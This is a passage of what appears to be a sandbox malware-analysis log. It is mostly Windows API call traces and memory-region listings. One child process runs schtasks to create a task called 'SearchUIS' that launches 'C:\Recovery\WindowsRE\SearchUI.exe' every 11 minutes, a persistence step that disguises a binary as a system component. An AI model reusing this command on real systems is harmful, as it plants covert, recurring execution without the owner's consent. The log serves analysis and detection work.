0x2996d990000 [0124.844] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99b480) returned 0x20 [0124.845] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99b480) returned 1 [0124.845] GetProcessHeap () returned 0x2996d990000 [0124.845] GetProcessHeap () returned 0x2996d990000 [0124.845] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994480) returned 1 [0124.845] GetProcessHeap () returned 0x2996d990000 [0124.845] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994480) returned 0x18 [0124.845] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994480) returned 1 [0124.845] GetProcessHeap () returned 0x2996d990000 [0124.845] GetProcessHeap () returned 0x2996d990000 [0124.845] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994070) returned 1 [0124.845] GetProcessHeap () returned 0x2996d990000 [0124.845] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994070) returned 0x20 [0124.846] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994070) returned 1 [0124.846] GetProcessHeap () returned 0x2996d990000 [0124.846] GetProcessHeap () returned 0x2996d990000 [0124.846] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998db0) returned 1 [0124.846] GetProcessHeap () returned 0x2996d990000 [0124.846] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998db0) returned 0x20 [0124.847] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998db0) returned 1 [0124.847] GetProcessHeap () returned 0x2996d990000 [0124.847] GetProcessHeap () returned 0x2996d990000 [0124.847] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998c00) returned 1 [0124.847] GetProcessHeap () returned 0x2996d990000 [0124.847] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998c00) returned 0x20 [0124.847] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998c00) returned 1 [0124.847] GetProcessHeap () returned 0x2996d990000 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998de0) returned 1 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998de0) returned 0x20 [0124.848] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998de0) returned 1 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9940a0) returned 1 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9940a0) returned 0x18 [0124.848] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9940a0) returned 1 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998d20) returned 1 [0124.848] GetProcessHeap () returned 0x2996d990000 [0124.848] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998d20) returned 0x20 [0124.849] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998d20) returned 1 [0124.849] GetProcessHeap () returned 0x2996d990000 [0124.849] GetProcessHeap () returned 0x2996d990000 [0124.849] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998d50) returned 1 [0124.849] GetProcessHeap () returned 0x2996d990000 [0124.849] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998d50) returned 0x20 [0124.850] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998d50) returned 1 [0124.850] GetProcessHeap () returned 0x2996d990000 [0124.850] GetProcessHeap () returned 0x2996d990000 [0124.850] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998c60) returned 1 [0124.850] GetProcessHeap () returned 0x2996d990000 [0124.850] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998c60) returned 0x20 [0124.850] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998c60) returned 1 [0124.850] GetProcessHeap () returned 0x2996d990000 [0124.851] GetProcessHeap () returned 0x2996d990000 [0124.851] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998ab0) returned 1 [0124.851] GetProcessHeap () returned 0x2996d990000 [0124.851] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998ab0) returned 0x20 [0124.851] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998ab0) returned 1 [0124.852] GetProcessHeap () returned 0x2996d990000 [0124.852] GetProcessHeap () returned 0x2996d990000 [0124.852] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998b40) returned 1 [0124.852] GetProcessHeap () returned 0x2996d990000 [0124.852] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998b40) returned 0x20 [0124.853] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998b40) returned 1 [0124.853] GetProcessHeap () returned 0x2996d990000 [0124.853] GetProcessHeap () returned 0x2996d990000 [0124.853] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d9940c0) returned 1 [0124.853] GetProcessHeap () returned 0x2996d990000 [0124.853] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d9940c0) returned 0x18 [0124.853] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d9940c0) returned 1 [0124.853] GetProcessHeap () returned 0x2996d990000 [0124.853] GetProcessHeap () returned 0x2996d990000 [0124.854] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d998a80) returned 1 [0124.854] GetProcessHeap () returned 0x2996d990000 [0124.854] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d998a80) returned 0x20 [0124.854] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d998a80) returned 1 [0124.854] GetProcessHeap () returned 0x2996d990000 [0124.854] GetProcessHeap () returned 0x2996d990000 [0124.855] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d994ac0) returned 1 [0124.855] GetProcessHeap () returned 0x2996d990000 [0124.855] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d994ac0) returned 0x18 [0124.855] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d994ac0) returned 1 [0124.855] exit (_Code=0) Thread: id = 174 os_tid = 0xcfc Process: id = "29" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x79f51000" os_pid = "0x2fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"SearchUIS\" /sc MINUTE /mo 11 /tr \"'C:\\Recovery\\WindowsRE\\SearchUI.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3412 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3413 start_va = 0xef5d830000 end_va = 0xef5d8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000ef5d830000" filename = "" Region: id = 3414 start_va = 0xef5da00000 end_va = 0xef5dbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000ef5da00000" filename = "" Region: id = 3415 start_va = 0x21c24d20000 end_va = 0x21c24d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24d20000" filename = "" Region: id = 3416 start_va = 0x21c24d40000 end_va = 0x21c24d54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c24d40000" filename = "" Region: id = 3417 start_va = 0x21c24d60000 end_va = 0x21c24d63fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c24d60000" filename = "" Region: id = 3418 start_va = 0x21c24d70000 end_va = 0x21c24d70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c24d70000" filename = "" Region: id = 3419 start_va = 0x21c24d80000 end_va = 0x21c24d81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24d80000" filename = "" Region: id = 3420 start_va = 0x7df5ff8c0000 end_va = 0x7ff5ff8bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff8c0000" filename = "" Region: id = 3421 start_va = 0x7ff6845f0000 end_va = 0x7ff684612fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6845f0000" filename = "" Region: id = 3422 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3423 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3424 start_va = 0x21c24d90000 end_va = 0x21c24f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24d90000" filename = "" Region: id = 3425 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3426 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3427 start_va = 0x21c24d20000 end_va = 0x21c24d2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c24d20000" filename = "" Region: id = 3428 start_va = 0x7ff6844f0000 end_va = 0x7ff6845effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6844f0000" filename = "" Region: id = 3429 start_va = 0x21c24d90000 end_va = 0x21c24e4dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3430 start_va = 0x21c24e90000 end_va = 0x21c24f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24e90000" filename = "" Region: id = 3431 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3432 start_va = 0xef5d8b0000 end_va = 0xef5d92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000ef5d8b0000" filename = "" Region: id = 3433 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3434 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3435 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3436 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3437 start_va = 0x21c24f90000 end_va = 0x21c2513ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24f90000" filename = "" Region: id = 3438 start_va = 0x21c24d30000 end_va = 0x21c24d36fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24d30000" filename = "" Region: id = 3439 start_va = 0x21c24f90000 end_va = 0x21c250d2fff monitored = 0 entry_point = 0x21c24fb8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3440 start_va = 0x21c25130000 end_va = 0x21c2513ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c25130000" filename = "" Region: id = 3441 start_va = 0x21c24e50000 end_va = 0x21c24e56fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24e50000" filename = "" Region: id = 3442 start_va = 0x21c24e60000 end_va = 0x21c24e72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3443 start_va = 0x21c25140000 end_va = 0x21c25476fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3444 start_va = 0x21c24f90000 end_va = 0x21c2506cfff monitored = 0 entry_point = 0x21c24fee0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3445 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3446 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3447 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3448 start_va = 0x21c24f90000 end_va = 0x21c25117fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c24f90000" filename = "" Region: id = 3449 start_va = 0x21c25480000 end_va = 0x21c254b8fff monitored = 0 entry_point = 0x21c254812f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3450 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3451 start_va = 0x21c24e80000 end_va = 0x21c24e80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c24e80000" filename = "" Region: id = 3452 start_va = 0x21c25120000 end_va = 0x21c25120fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000021c25120000" filename = "" Region: id = 3453 start_va = 0x21c25480000 end_va = 0x21c25600fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c25480000" filename = "" Region: id = 3454 start_va = 0x21c25610000 end_va = 0x21c26a0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c25610000" filename = "" Region: id = 3455 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3456 start_va = 0x21c26a10000 end_va = 0x21c26a10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c26a10000" filename = "" Region: id = 3457 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3458 start_va = 0x21c26a20000 end_va = 0x21c26a20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000021c26a20000" filename = "" Region: id = 3459 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3460 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3463 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 175 os_tid = 0x88c [0124.972] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0124.972] __set_app_type (_Type=0x1) [0124.972] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0124.972] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0124.973] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0124.973] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0124.973] CsrIdentifyAlertableThread () returned 0x0 [0124.973] GetProcessHeap () returned 0x21c24e90000 [0124.973] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e96060 [0124.974] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.974] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0124.974] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0124.974] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0124.974] RtlVerifyVersionInfo (VersionInfo=0xef5d8af180, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0124.974] GetProcessHeap () returned 0x21c24e90000 [0124.974] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e96080 [0124.974] lstrlenW (lpString="") returned 0 [0124.974] GetProcessHeap () returned 0x21c24e90000 [0124.974] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x2) returned 0x21c24e94a10 [0124.974] GetProcessHeap () returned 0x21c24e90000 [0124.974] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e94a30 [0124.974] GetProcessHeap () returned 0x21c24e90000 [0124.974] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e94a60 [0124.974] GetProcessHeap () returned 0x21c24e90000 [0124.974] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e943c0 [0124.974] GetProcessHeap () returned 0x21c24e90000 [0124.974] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e943f0 [0124.975] GetProcessHeap () returned 0x21c24e90000 [0124.975] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e94420 [0124.975] GetProcessHeap () returned 0x21c24e90000 [0124.975] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98f90 [0124.975] GetProcessHeap () returned 0x21c24e90000 [0124.975] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e94450 [0124.975] GetProcessHeap () returned 0x21c24e90000 [0124.975] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98ea0 [0124.975] GetProcessHeap () returned 0x21c24e90000 [0124.975] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98fc0 [0124.975] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98f60 [0124.976] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e99200 [0124.976] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e93fb0 [0124.976] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98ed0 [0124.976] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98f00 [0124.976] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e99110 [0124.976] GetProcessHeap () returned 0x21c24e90000 [0124.976] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98ff0 [0124.976] SetThreadUILanguage (LangId=0x0) returned 0x409 [0124.978] RtlRestoreLastWin32Error () returned 0xef5db60000 [0124.978] GetProcessHeap () returned 0x21c24e90000 [0124.978] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e99170 [0124.978] GetProcessHeap () returned 0x21c24e90000 [0124.978] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e98f30 [0124.978] GetProcessHeap () returned 0x21c24e90000 [0124.978] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e991a0 [0124.978] GetProcessHeap () returned 0x21c24e90000 [0124.978] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e990e0 [0124.978] GetProcessHeap () returned 0x21c24e90000 [0124.979] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e991d0 [0124.979] GetProcessHeap () returned 0x21c24e90000 [0124.979] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e94760 [0124.979] _memicmp (_Buf1=0x21c24e94760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.979] GetProcessHeap () returned 0x21c24e90000 [0124.979] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x208) returned 0x21c24e99b40 [0124.979] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21c24e99b40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0124.979] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xef5d8af2d8 | out: lpdwHandle=0xef5d8af2d8) returned 0x76c [0124.982] GetProcessHeap () returned 0x21c24e90000 [0124.982] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x776) returned 0x21c24e9a8a0 [0124.983] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x21c24e9a8a0 | out: lpData=0x21c24e9a8a0) returned 1 [0124.983] VerQueryValueW (in: pBlock=0x21c24e9a8a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xef5d8af270, puLen=0xef5d8af2d0 | out: lplpBuffer=0xef5d8af270*=0x21c24e9ac50, puLen=0xef5d8af2d0) returned 1 [0124.986] _memicmp (_Buf1=0x21c24e94760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.986] _vsnwprintf (in: _Buffer=0x21c24e99b40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xef5d8af248 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0124.986] VerQueryValueW (in: pBlock=0x21c24e9a8a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xef5d8af260, puLen=0xef5d8af2c8 | out: lplpBuffer=0xef5d8af260*=0x21c24e9aa80, puLen=0xef5d8af2c8) returned 1 [0124.986] lstrlenW (lpString="schtasks.exe") returned 12 [0124.986] lstrlenW (lpString="schtasks.exe") returned 12 [0124.986] lstrlenW (lpString=".EXE") returned 4 [0124.987] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0124.987] lstrlenW (lpString="schtasks.exe") returned 12 [0124.987] lstrlenW (lpString=".EXE") returned 4 [0124.987] _memicmp (_Buf1=0x21c24e94760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.987] lstrlenW (lpString="schtasks") returned 8 [0124.987] GetProcessHeap () returned 0x21c24e90000 [0124.987] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e99080 [0124.987] GetProcessHeap () returned 0x21c24e90000 [0124.987] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e990b0 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9ba40 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b3b0 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e947f0 [0124.988] _memicmp (_Buf1=0x21c24e947f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0xa0) returned 0x21c24e93e60 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9bad0 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b950 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b920 [0124.988] GetProcessHeap () returned 0x21c24e90000 [0124.988] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e94810 [0124.988] _memicmp 